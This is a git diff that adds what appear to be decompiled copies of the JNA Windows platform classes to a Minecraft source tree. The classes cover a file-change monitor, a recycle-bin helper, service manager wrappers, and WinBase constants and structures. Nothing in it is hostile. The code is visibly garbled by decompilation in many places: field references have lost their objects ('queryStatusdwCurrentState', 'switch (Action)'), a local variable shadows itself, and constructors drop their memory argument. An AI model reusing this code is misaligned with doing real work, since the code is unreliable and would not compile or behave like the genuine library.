+    public final WinBase.OVERLAPPED overlapped = new WinBase.OVERLAPPED();
+    
+    public FileInfo(File f, WinNT.HANDLE h, int mask, boolean recurse) { file = f;
+      handle = h;
+      notifyMask = mask;
+      recursive = recurse;
+    }
+  }
+  
+
+  private final Map<File, FileInfo> fileMap = new HashMap();
+  private final Map<WinNT.HANDLE, FileInfo> handleMap = new HashMap();
+  private boolean disposing = false;
+  private static int watcherThreadID;
+  
+  private void handleChanges(FileInfo finfo) throws IOException { Kernel32 klib = Kernel32.INSTANCE;
+    WinNT.FILE_NOTIFY_INFORMATION fni = info;
+    
+    fni.read();
+    do {
+      FileMonitor.FileEvent event = null;
+      File file = new File(file, fni.getFilename());
+      switch (Action) {
+      case 0: 
+        break;
+      case 3: 
+        event = new FileMonitor.FileEvent(this, file, 4);
+        break;
+      case 1: 
+        event = new FileMonitor.FileEvent(this, file, 1);
+        break;
+      case 2: 
+        event = new FileMonitor.FileEvent(this, file, 2);
+        break;
+      case 4: 
+        event = new FileMonitor.FileEvent(this, file, 16);
+        break;
+      case 5: 
+        event = new FileMonitor.FileEvent(this, file, 32);
+        break;
+      
+      default: 
+        System.err.println("Unrecognized file action '" + Action + "'");
+      }
+      
+      if (event != null) {
+        notify(event);
+      }
+      
+      fni = fni.next();
+    } while (fni != null);
+    
+
+    if (!file.exists()) {
+      unwatch(file);
+      return;
+    }
+    
+    if (!klib.ReadDirectoryChangesW(handle, info, info.size(), recursive, notifyMask, infoLength, overlapped, null))
+    {
+
+      if (!disposing) {
+        int err = klib.GetLastError();
+        throw new IOException("ReadDirectoryChangesW failed on " + file + ": '" + Kernel32Util.formatMessageFromLastErrorCode(err) + "' (" + err + ")");
+      }
+    }
+  }
+  
+
+
+  private FileInfo waitForChange()
+  {
+    Kernel32 klib = Kernel32.INSTANCE;
+    IntByReference rcount = new IntByReference();
+    BaseTSD.ULONG_PTRByReference rkey = new BaseTSD.ULONG_PTRByReference();
+    PointerByReference roverlap = new PointerByReference();
+    klib.GetQueuedCompletionStatus(port, rcount, rkey, roverlap, -1);
+    
+    synchronized (this) {
+      return (FileInfo)handleMap.get(rkey.getValue());
+    }
+  }
+  
+  private int convertMask(int mask) {
+    int result = 0;
+    if ((mask & 0x1) != 0) {
+      result |= 0x40;
+    }
+    if ((mask & 0x2) != 0) {
+      result |= 0x3;
+    }
+    if ((mask & 0x4) != 0) {
+      result |= 0x10;
+    }
+    if ((mask & 0x30) != 0) {
+      result |= 0x3;
+    }
+    if ((mask & 0x40) != 0) {
+      result |= 0x8;
+    }
+    if ((mask & 0x8) != 0) {
+      result |= 0x20;
+    }
+    if ((mask & 0x80) != 0) {
+      result |= 0x4;
+    }
+    if ((mask & 0x100) != 0) {
+      result |= 0x100;
+    }
+    return result;
+  }
+  
+  protected synchronized void watch(File file, int eventMask, boolean recursive)
+    throws IOException
+  {
+    File dir = file;
+    if (!dir.isDirectory()) {
+      recursive = false;
+      dir = file.getParentFile();
+    }
+    while ((dir != null) && (!dir.exists())) {
+      recursive = true;
+      dir = dir.getParentFile();
+    }
+    if (dir == null) {
+      throw new FileNotFoundException("No ancestor found for " + file);
+    }
+    Kernel32 klib = Kernel32.INSTANCE;
+    int mask = 7;
+    
+    int flags = 1107296256;
+    
+    WinNT.HANDLE handle = klib.CreateFile(file.getAbsolutePath(), 1, mask, null, 3, flags, null);
+    
+
+
+    if (WinBase.INVALID_HANDLE_VALUE.equals(handle)) {
+      throw new IOException("Unable to open " + file + " (" + klib.GetLastError() + ")");
+    }
+    
+    int notifyMask = convertMask(eventMask);
+    FileInfo finfo = new FileInfo(file, handle, notifyMask, recursive);
+    fileMap.put(file, finfo);
+    handleMap.put(handle, finfo);
+    
+    port = klib.CreateIoCompletionPort(handle, port, handle.getPointer(), 0);
+    if (WinBase.INVALID_HANDLE_VALUE.equals(port)) {
+      throw new IOException("Unable to create/use I/O Completion port for " + file + " (" + klib.GetLastError() + ")");
+    }
+    
+
+
+
+    if (!klib.ReadDirectoryChangesW(handle, info, info.size(), recursive, notifyMask, infoLength, overlapped, null))
+    {
+
+      int err = klib.GetLastError();
+      throw new IOException("ReadDirectoryChangesW failed on " + file + ", handle " + handle + ": '" + Kernel32Util.formatMessageFromLastErrorCode(err) + "' (" + err + ")");
+    }
+    
+
+
+    if (watcher == null) {
+      watcher = new Thread("W32 File Monitor-" + watcherThreadID++)
+      {
+        public void run() {
+          for (;;) {
+            W32FileMonitor.FileInfo finfo = W32FileMonitor.this.waitForChange();
+            if (finfo == null) {
+              synchronized (W32FileMonitor.this) {
+                if (fileMap.isEmpty()) {
+                  watcher = null;
+                  break;
+                }
+                
+              }
+            } else
+              try
+              {
+                W32FileMonitor.this.handleChanges(finfo);
+              }
+              catch (IOException e)
+              {
+                e.printStackTrace();
+              }
+          }
+        }
+      };
+      watcher.setDaemon(true);
+      watcher.start();
+    }
+  }
+  
+  protected synchronized void unwatch(File file) {
+    FileInfo finfo = (FileInfo)fileMap.remove(file);
+    if (finfo != null) {
+      handleMap.remove(handle);
+      Kernel32 klib = Kernel32.INSTANCE;
+      
+      klib.CloseHandle(handle);
+    }
+  }
+  
+  public synchronized void dispose() {
+    disposing = true;
+    
+
+    int i = 0;
+    for (Object[] keys = fileMap.keySet().toArray(); !fileMap.isEmpty();) {
+      unwatch((File)keys[(i++)]);
+    }
+    
+    Kernel32 klib = Kernel32.INSTANCE;
+    klib.PostQueuedCompletionStatus(port, 0, null, null);
+    klib.CloseHandle(port);
+    port = null;
+    watcher = null;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/W32FileUtils.java b/src/minecraft/com/sun/jna/platform/win32/W32FileUtils.java
new file mode 100644
index 0000000..9c7e133
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/W32FileUtils.java
@@ -0,0 +1,46 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.WString;
+import com.sun.jna.platform.FileUtils;
+import java.io.File;
+import java.io.IOException;
+
+
+
+
+
+
+
+
+
+
+public class W32FileUtils
+  extends FileUtils
+{
+  public W32FileUtils() {}
+  
+  public boolean hasTrash()
+  {
+    return true;
+  }
+  
+  public void moveToTrash(File[] files) throws IOException {
+    Shell32 shell = Shell32.INSTANCE;
+    ShellAPI.SHFILEOPSTRUCT fileop = new ShellAPI.SHFILEOPSTRUCT();
+    wFunc = 3;
+    String[] paths = new String[files.length];
+    for (int i = 0; i < paths.length; i++) {
+      paths[i] = files[i].getAbsolutePath();
+    }
+    pFrom = new WString(fileop.encodePaths(paths));
+    fFlags = 1620;
+    int ret = shell.SHFileOperation(fileop);
+    if (ret != 0) {
+      throw new IOException("Move to trash failed: " + pFrom + ": " + Kernel32Util.formatMessageFromLastErrorCode(ret));
+    }
+    
+    if (fAnyOperationsAborted) {
+      throw new IOException("Move to trash aborted");
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/W32Service.java b/src/minecraft/com/sun/jna/platform/win32/W32Service.java
new file mode 100644
index 0000000..f2e95b5
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/W32Service.java
@@ -0,0 +1,207 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.ptr.IntByReference;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class W32Service
+{
+  Winsvc.SC_HANDLE _handle = null;
+  
+
+
+
+
+
+  public W32Service(Winsvc.SC_HANDLE handle)
+  {
+    _handle = handle;
+  }
+  
+
+
+  public void close()
+  {
+    if (_handle != null) {
+      if (!Advapi32.INSTANCE.CloseServiceHandle(_handle)) {
+        throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+      }
+      _handle = null;
+    }
+  }
+  
+
+
+
+
+  public Winsvc.SERVICE_STATUS_PROCESS queryStatus()
+  {
+    IntByReference size = new IntByReference();
+    
+    Advapi32.INSTANCE.QueryServiceStatusEx(_handle, 0, null, 0, size);
+    
+
+    Winsvc.SERVICE_STATUS_PROCESS status = new Winsvc.SERVICE_STATUS_PROCESS(size.getValue());
+    if (!Advapi32.INSTANCE.QueryServiceStatusEx(_handle, 0, status, status.size(), size))
+    {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    
+    return status;
+  }
+  
+  public void startService() {
+    waitForNonPendingState();
+    
+    if (queryStatusdwCurrentState == 4) {
+      return;
+    }
+    if (!Advapi32.INSTANCE.StartService(_handle, 0, null)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    waitForNonPendingState();
+    if (queryStatusdwCurrentState != 4) {
+      throw new RuntimeException("Unable to start the service");
+    }
+  }
+  
+
+
+  public void stopService()
+  {
+    waitForNonPendingState();
+    
+    if (queryStatusdwCurrentState == 1) {
+      return;
+    }
+    if (!Advapi32.INSTANCE.ControlService(_handle, 1, new Winsvc.SERVICE_STATUS()))
+    {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    waitForNonPendingState();
+    if (queryStatusdwCurrentState != 1) {
+      throw new RuntimeException("Unable to stop the service");
+    }
+  }
+  
+
+
+  public void continueService()
+  {
+    waitForNonPendingState();
+    
+    if (queryStatusdwCurrentState == 4) {
+      return;
+    }
+    if (!Advapi32.INSTANCE.ControlService(_handle, 3, new Winsvc.SERVICE_STATUS()))
+    {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    waitForNonPendingState();
+    if (queryStatusdwCurrentState != 4) {
+      throw new RuntimeException("Unable to continue the service");
+    }
+  }
+  
+
+
+  public void pauseService()
+  {
+    waitForNonPendingState();
+    
+    if (queryStatusdwCurrentState == 7) {
+      return;
+    }
+    if (!Advapi32.INSTANCE.ControlService(_handle, 2, new Winsvc.SERVICE_STATUS()))
+    {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    waitForNonPendingState();
+    if (queryStatusdwCurrentState != 7) {
+      throw new RuntimeException("Unable to pause the service");
+    }
+  }
+  
+
+
+
+  public void waitForNonPendingState()
+  {
+    Winsvc.SERVICE_STATUS_PROCESS status = queryStatus();
+    
+    int previousCheckPoint = dwCheckPoint;
+    int checkpointStartTickCount = Kernel32.INSTANCE.GetTickCount();
+    
+    while (isPendingState(dwCurrentState))
+    {
+
+      if (dwCheckPoint != previousCheckPoint) {
+        previousCheckPoint = dwCheckPoint;
+        checkpointStartTickCount = Kernel32.INSTANCE.GetTickCount();
+      }
+      
+
+      if (Kernel32.INSTANCE.GetTickCount() - checkpointStartTickCount > dwWaitHint) {
+        throw new RuntimeException("Timeout waiting for service to change to a non-pending state.");
+      }
+      
+
+
+
+
+      int dwWaitTime = dwWaitHint / 10;
+      
+      if (dwWaitTime < 1000) {
+        dwWaitTime = 1000;
+      } else if (dwWaitTime > 10000) {
+        dwWaitTime = 10000;
+      }
+      try {
+        Thread.sleep(dwWaitTime);
+      } catch (InterruptedException e) {
+        throw new RuntimeException(e);
+      }
+      
+      status = queryStatus();
+    }
+  }
+  
+  private boolean isPendingState(int state) {
+    switch (state) {
+    case 2: 
+    case 3: 
+    case 5: 
+    case 6: 
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+  public Winsvc.SC_HANDLE getHandle()
+  {
+    return _handle;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/W32ServiceManager.java b/src/minecraft/com/sun/jna/platform/win32/W32ServiceManager.java
new file mode 100644
index 0000000..34d6e05
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/W32ServiceManager.java
@@ -0,0 +1,91 @@
+package com.sun.jna.platform.win32;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class W32ServiceManager
+{
+  Winsvc.SC_HANDLE _handle = null;
+  String _machineName = null;
+  String _databaseName = null;
+  
+  public W32ServiceManager() {}
+  
+  public W32ServiceManager(String machineName, String databaseName)
+  {
+    _machineName = machineName;
+    _databaseName = databaseName;
+  }
+  
+
+
+
+
+  public void open(int permissions)
+  {
+    close();
+    
+    _handle = Advapi32.INSTANCE.OpenSCManager(_machineName, _databaseName, permissions);
+    
+
+    if (_handle == null) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+  }
+  
+
+
+  public void close()
+  {
+    if (_handle != null) {
+      if (!Advapi32.INSTANCE.CloseServiceHandle(_handle)) {
+        throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+      }
+      _handle = null;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public W32Service openService(String serviceName, int permissions)
+  {
+    Winsvc.SC_HANDLE serviceHandle = Advapi32.INSTANCE.OpenService(_handle, serviceName, permissions);
+    
+
+    if (serviceHandle == null) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    
+    return new W32Service(serviceHandle);
+  }
+  
+
+
+
+
+  public Winsvc.SC_HANDLE getHandle()
+  {
+    return _handle;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WTypes.java b/src/minecraft/com/sun/jna/platform/win32/WTypes.java
new file mode 100644
index 0000000..c61df20
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WTypes.java
@@ -0,0 +1,25 @@
+package com.sun.jna.platform.win32;
+
+public abstract interface WTypes
+{
+  public static final int CLSCTX_INPROC_SERVER = 1;
+  public static final int CLSCTX_INPROC_HANDLER = 2;
+  public static final int CLSCTX_LOCAL_SERVER = 4;
+  public static final int CLSCTX_INPROC_SERVER16 = 8;
+  public static final int CLSCTX_REMOTE_SERVER = 16;
+  public static final int CLSCTX_INPROC_HANDLER16 = 32;
+  public static final int CLSCTX_RESERVED1 = 64;
+  public static final int CLSCTX_RESERVED2 = 128;
+  public static final int CLSCTX_RESERVED3 = 256;
+  public static final int CLSCTX_RESERVED4 = 512;
+  public static final int CLSCTX_NO_CODE_DOWNLOAD = 1024;
+  public static final int CLSCTX_RESERVED5 = 2048;
+  public static final int CLSCTX_NO_CUSTOM_MARSHAL = 4096;
+  public static final int CLSCTX_ENABLE_CODE_DOWNLOAD = 8192;
+  public static final int CLSCTX_NO_FAILURE_LOG = 16384;
+  public static final int CLSCTX_DISABLE_AAA = 32768;
+  public static final int CLSCTX_ENABLE_AAA = 65536;
+  public static final int CLSCTX_FROM_DEFAULT_CONTEXT = 131072;
+  public static final int CLSCTX_ACTIVATE_32_BIT_SERVER = 262144;
+  public static final int CLSCTX_ACTIVATE_64_BIT_SERVER = 524288;
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Wdm.java b/src/minecraft/com/sun/jna/platform/win32/Wdm.java
new file mode 100644
index 0000000..29a237b
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Wdm.java
@@ -0,0 +1,78 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+public abstract interface Wdm
+  extends StdCallLibrary
+{
+  public static abstract class KEY_INFORMATION_CLASS
+  {
+    public static final int KeyBasicInformation = 0;
+    public static final int KeyNodeInformation = 1;
+    public static final int KeyFullInformation = 2;
+    public static final int KeyNameInformation = 3;
+    public static final int KeyCachedInformation = 4;
+    public static final int KeyVirtualizationInformation = 5;
+    
+    public KEY_INFORMATION_CLASS() {}
+  }
+  
+  public static class KEY_BASIC_INFORMATION
+    extends Structure
+  {
+    public long LastWriteTime;
+    public int TitleIndex;
+    public int NameLength;
+    public char[] Name;
+    
+    public KEY_BASIC_INFORMATION() {}
+    
+    public KEY_BASIC_INFORMATION(int size)
+    {
+      NameLength = (size - 16);
+      Name = new char[NameLength];
+      allocateMemory();
+    }
+    
+    public KEY_BASIC_INFORMATION(Pointer memory) {
+      super();
+      read();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return Native.toString(Name);
+    }
+    
+    public void read() {
+      super.read();
+      Name = new char[NameLength / 2];
+      readField("Name");
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Win32Exception.java b/src/minecraft/com/sun/jna/platform/win32/Win32Exception.java
new file mode 100644
index 0000000..cedb2da
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Win32Exception.java
@@ -0,0 +1,54 @@
+package com.sun.jna.platform.win32;
+
+
+
+
+
+
+
+
+
+public class Win32Exception
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+
+
+
+  private WinNT.HRESULT _hr;
+  
+
+
+
+
+
+
+
+  public WinNT.HRESULT getHR()
+  {
+    return _hr;
+  }
+  
+
+
+
+
+  public Win32Exception(WinNT.HRESULT hr)
+  {
+    super(Kernel32Util.formatMessageFromHR(hr));
+    _hr = hr;
+  }
+  
+
+
+
+
+  public Win32Exception(int code)
+  {
+    this(W32Errors.HRESULT_FROM_WIN32(code));
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinBase.java b/src/minecraft/com/sun/jna/platform/win32/WinBase.java
new file mode 100644
index 0000000..e9b7e9d
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WinBase.java
@@ -0,0 +1,799 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Platform;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.Union;
+import com.sun.jna.ptr.ByteByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface WinBase
+  extends StdCallLibrary, WinDef, BaseTSD
+{
+  public static final WinNT.HANDLE INVALID_HANDLE_VALUE = new WinNT.HANDLE(Pointer.createConstant(Pointer.SIZE == 8 ? -1L : 4294967295L));
+  
+
+  public static final int WAIT_FAILED = -1;
+  
+
+  public static final int WAIT_OBJECT_0 = 0;
+  
+
+  public static final int WAIT_ABANDONED = 128;
+  
+  public static final int WAIT_ABANDONED_0 = 128;
+  
+  public static final int MAX_COMPUTERNAME_LENGTH = Platform.isMac() ? 15 : 31;
+  
+  public static final int LOGON32_LOGON_INTERACTIVE = 2;
+  
+  public static final int LOGON32_LOGON_NETWORK = 3;
+  
+  public static final int LOGON32_LOGON_BATCH = 4;
+  
+  public static final int LOGON32_LOGON_SERVICE = 5;
+  
+  public static final int LOGON32_LOGON_UNLOCK = 7;
+  
+  public static final int LOGON32_LOGON_NETWORK_CLEARTEXT = 8;
+  
+  public static final int LOGON32_LOGON_NEW_CREDENTIALS = 9;
+  
+  public static final int LOGON32_PROVIDER_DEFAULT = 0;
+  
+  public static final int LOGON32_PROVIDER_WINNT35 = 1;
+  
+  public static final int LOGON32_PROVIDER_WINNT40 = 2;
+  
+  public static final int LOGON32_PROVIDER_WINNT50 = 3;
+  
+  public static final int HANDLE_FLAG_INHERIT = 1;
+  
+  public static final int HANDLE_FLAG_PROTECT_FROM_CLOSE = 2;
+  
+  public static final int STARTF_USESHOWWINDOW = 1;
+  
+  public static final int STARTF_USESIZE = 2;
+  
+  public static final int STARTF_USEPOSITION = 4;
+  
+  public static final int STARTF_USECOUNTCHARS = 8;
+  
+  public static final int STARTF_USEFILLATTRIBUTE = 16;
+  
+  public static final int STARTF_RUNFULLSCREEN = 32;
+  
+  public static final int STARTF_FORCEONFEEDBACK = 64;
+  
+  public static final int STARTF_FORCEOFFFEEDBACK = 128;
+  
+  public static final int STARTF_USESTDHANDLES = 256;
+  
+  public static final int DEBUG_PROCESS = 1;
+  
+  public static final int DEBUG_ONLY_THIS_PROCESS = 2;
+  
+  public static final int CREATE_SUSPENDED = 4;
+  
+  public static final int DETACHED_PROCESS = 8;
+  
+  public static final int CREATE_NEW_CONSOLE = 16;
+  
+  public static final int CREATE_NEW_PROCESS_GROUP = 512;
+  
+  public static final int CREATE_UNICODE_ENVIRONMENT = 1024;
+  
+  public static final int CREATE_SEPARATE_WOW_VDM = 2048;
+  
+  public static final int CREATE_SHARED_WOW_VDM = 4096;
+  
+  public static final int CREATE_FORCEDOS = 8192;
+  
+  public static final int INHERIT_PARENT_AFFINITY = 65536;
+  
+  public static final int CREATE_PROTECTED_PROCESS = 262144;
+  
+  public static final int EXTENDED_STARTUPINFO_PRESENT = 524288;
+  
+  public static final int CREATE_BREAKAWAY_FROM_JOB = 16777216;
+  
+  public static final int CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 33554432;
+  
+  public static final int CREATE_DEFAULT_ERROR_MODE = 67108864;
+  
+  public static final int CREATE_NO_WINDOW = 134217728;
+  
+  public static final int INVALID_FILE_SIZE = -1;
+  public static final int INVALID_SET_FILE_POINTER = -1;
+  public static final int INVALID_FILE_ATTRIBUTES = -1;
+  public static final int STILL_ACTIVE = 259;
+  public static final int LMEM_FIXED = 0;
+  public static final int LMEM_MOVEABLE = 2;
+  public static final int LMEM_NOCOMPACT = 16;
+  public static final int LMEM_NODISCARD = 32;
+  public static final int LMEM_ZEROINIT = 64;
+  public static final int LMEM_MODIFY = 128;
+  public static final int LMEM_DISCARDABLE = 3840;
+  public static final int LMEM_VALID_FLAGS = 3954;
+  public static final int LMEM_INVALID_HANDLE = 32768;
+  public static final int LHND = 66;
+  public static final int LPTR = 64;
+  public static final int LMEM_DISCARDED = 16384;
+  public static final int LMEM_LOCKCOUNT = 255;
+  public static final int FORMAT_MESSAGE_ALLOCATE_BUFFER = 256;
+  public static final int FORMAT_MESSAGE_IGNORE_INSERTS = 512;
+  public static final int FORMAT_MESSAGE_FROM_STRING = 1024;
+  public static final int FORMAT_MESSAGE_FROM_HMODULE = 2048;
+  public static final int FORMAT_MESSAGE_FROM_SYSTEM = 4096;
+  public static final int FORMAT_MESSAGE_ARGUMENT_ARRAY = 8192;
+  public static final int DRIVE_UNKNOWN = 0;
+  public static final int DRIVE_NO_ROOT_DIR = 1;
+  public static final int DRIVE_REMOVABLE = 2;
+  public static final int DRIVE_FIXED = 3;
+  public static final int DRIVE_REMOTE = 4;
+  public static final int DRIVE_CDROM = 5;
+  public static final int DRIVE_RAMDISK = 6;
+  public static final int INFINITE = -1;
+  public static final int MOVEFILE_COPY_ALLOWED = 2;
+  public static final int MOVEFILE_CREATE_HARDLINK = 16;
+  public static final int MOVEFILE_DELAY_UNTIL_REBOOT = 4;
+  public static final int MOVEFILE_FAIL_IF_NOT_TRACKABLE = 32;
+  public static final int MOVEFILE_REPLACE_EXISTING = 1;
+  public static final int MOVEFILE_WRITE_THROUGH = 8;
+  
+  public static class FILETIME
+    extends Structure
+  {
+    public int dwLowDateTime;
+    public int dwHighDateTime;
+    private static final long EPOCH_DIFF = 11644473600000L;
+    
+    public static class ByReference
+      extends WinBase.FILETIME
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+    public FILETIME(Date date) {
+      long rawValue = dateToFileTime(date);
+      dwHighDateTime = ((int)(rawValue >> 32 & 0xFFFFFFFF));
+      dwLowDateTime = ((int)(rawValue & 0xFFFFFFFF));
+    }
+    
+    public FILETIME() {}
+    
+    public FILETIME(Pointer memory)
+    {
+      super();
+      read();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public static Date filetimeToDate(int high, int low)
+    {
+      long filetime = high << 32 | low & 0xFFFFFFFF;
+      long ms_since_16010101 = filetime / 10000L;
+      long ms_since_19700101 = ms_since_16010101 - 11644473600000L;
+      return new Date(ms_since_19700101);
+    }
+    
+
+
+
+
+
+
+
+    public static long dateToFileTime(Date date)
+    {
+      long ms_since_19700101 = date.getTime();
+      long ms_since_16010101 = ms_since_19700101 + 11644473600000L;
+      return ms_since_16010101 * 1000L * 10L;
+    }
+    
+    public Date toDate() {
+      return filetimeToDate(dwHighDateTime, dwLowDateTime);
+    }
+    
+    public long toLong() {
+      return toDate().getTime();
+    }
+    
+    public String toString() {
+      return super.toString() + ": " + toDate().toString();
+    }
+  }
+  
+
+
+
+
+
+  public static class SYSTEMTIME
+    extends Structure
+  {
+    public short wYear;
+    
+
+
+
+
+    public short wMonth;
+    
+
+
+
+
+    public short wDayOfWeek;
+    
+
+
+
+
+    public short wDay;
+    
+
+
+
+
+    public short wHour;
+    
+
+
+
+
+    public short wMinute;
+    
+
+
+
+
+    public short wSecond;
+    
+
+
+
+
+    public short wMilliseconds;
+    
+
+
+
+
+
+    public SYSTEMTIME() {}
+  }
+  
+
+
+
+
+
+  public static class OVERLAPPED
+    extends Structure
+  {
+    public BaseTSD.ULONG_PTR Internal;
+    
+
+
+
+
+    public BaseTSD.ULONG_PTR InternalHigh;
+    
+
+
+
+
+    public int Offset;
+    
+
+
+
+
+    public int OffsetHigh;
+    
+
+
+
+
+    public WinNT.HANDLE hEvent;
+    
+
+
+
+
+
+    public OVERLAPPED() {}
+  }
+  
+
+
+
+
+  public static class SYSTEM_INFO
+    extends Structure
+  {
+    public UNION processorArchitecture;
+    
+
+
+
+    public WinDef.DWORD dwPageSize;
+    
+
+
+
+    public Pointer lpMinimumApplicationAddress;
+    
+
+
+
+    public Pointer lpMaximumApplicationAddress;
+    
+
+
+
+    public BaseTSD.DWORD_PTR dwActiveProcessorMask;
+    
+
+
+
+    public WinDef.DWORD dwNumberOfProcessors;
+    
+
+
+
+    public WinDef.DWORD dwProcessorType;
+    
+
+
+
+    public WinDef.DWORD dwAllocationGranularity;
+    
+
+
+
+    public WinDef.WORD wProcessorLevel;
+    
+
+
+
+    public WinDef.WORD wProcessorRevision;
+    
+
+
+
+
+    public SYSTEM_INFO() {}
+    
+
+
+
+
+    public static class UNION
+      extends Union
+    {
+      public WinDef.DWORD dwOemID;
+      
+
+
+
+      public WinBase.SYSTEM_INFO.PI pi;
+      
+
+
+
+
+      public UNION() {}
+      
+
+
+
+
+      public static class ByReference
+        extends WinBase.SYSTEM_INFO.UNION
+        implements Structure.ByReference
+      {
+        public ByReference() {}
+      }
+    }
+    
+
+
+
+
+    public static class PI
+      extends Structure
+    {
+      public WinDef.WORD wProcessorArchitecture;
+      
+
+
+
+      public WinDef.WORD wReserved;
+      
+
+
+
+
+      public PI() {}
+      
+
+
+
+
+      public static class ByReference
+        extends WinBase.SYSTEM_INFO.PI
+        implements Structure.ByReference
+      {
+        public ByReference() {}
+      }
+    }
+  }
+  
+
+
+
+
+  public static class MEMORYSTATUSEX
+    extends Structure
+  {
+    public WinDef.DWORD dwLength;
+    
+
+
+
+    public WinDef.DWORD dwMemoryLoad;
+    
+
+
+
+    public WinDef.DWORDLONG ullTotalPhys;
+    
+
+
+
+    public WinDef.DWORDLONG ullAvailPhys;
+    
+
+
+
+    public WinDef.DWORDLONG ullTotalPageFile;
+    
+
+
+
+    public WinDef.DWORDLONG ullAvailPageFile;
+    
+
+
+
+    public WinDef.DWORDLONG ullTotalVirtual;
+    
+
+
+
+    public WinDef.DWORDLONG ullAvailVirtual;
+    
+
+
+
+    public WinDef.DWORDLONG ullAvailExtendedVirtual;
+    
+
+
+
+
+    public MEMORYSTATUSEX()
+    {
+      dwLength = new WinDef.DWORD(size());
+    }
+  }
+  
+
+
+
+
+  public static class SECURITY_ATTRIBUTES
+    extends Structure
+  {
+    public WinDef.DWORD dwLength;
+    
+
+
+
+    public Pointer lpSecurityDescriptor;
+    
+
+
+
+    public boolean bInheritHandle;
+    
+
+
+
+
+    public SECURITY_ATTRIBUTES()
+    {
+      dwLength = new WinDef.DWORD(size());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static class STARTUPINFO
+    extends Structure
+  {
+    public WinDef.DWORD cb;
+    
+
+
+
+
+
+
+
+    public String lpReserved;
+    
+
+
+
+
+
+
+
+    public String lpDesktop;
+    
+
+
+
+
+
+
+
+    public String lpTitle;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD dwX;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD dwY;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD dwXSize;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD dwYSize;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD dwXCountChars;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD dwYCountChars;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD dwFillAttribute;
+    
+
+
+
+
+
+
+    public int dwFlags;
+    
+
+
+
+
+
+
+    public WinDef.WORD wShowWindow;
+    
+
+
+
+
+
+
+    public WinDef.WORD cbReserved2;
+    
+
+
+
+
+
+
+    public ByteByReference lpReserved2;
+    
+
+
+
+
+
+
+    public WinNT.HANDLE hStdInput;
+    
+
+
+
+
+
+
+    public WinNT.HANDLE hStdOutput;
+    
+
+
+
+
+
+
+    public WinNT.HANDLE hStdError;
+    
+
+
+
+
+
+
+
+    public STARTUPINFO()
+    {
+      cb = new WinDef.DWORD(size());
+    }
+  }
+  
+
+
+
+
+  public static class PROCESS_INFORMATION
+    extends Structure
+  {
+    public WinNT.HANDLE hProcess;
+    
+
+
+
+    public WinNT.HANDLE hThread;
+    
+
+
+
+    public WinDef.DWORD dwProcessId;
+    
+
+
+
+    public WinDef.DWORD dwThreadId;
+    
+
+
+    public PROCESS_INFORMATION() {}
+    
+
+
+
+    public static class ByReference
+      extends WinBase.PROCESS_INFORMATION
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+
+
+
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+
+
+    public PROCESS_INFORMATION(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinCrypt.java b/src/minecraft/com/sun/jna/platform/win32/WinCrypt.java
new file mode 100644
index 0000000..5791eb0
--- /dev/null
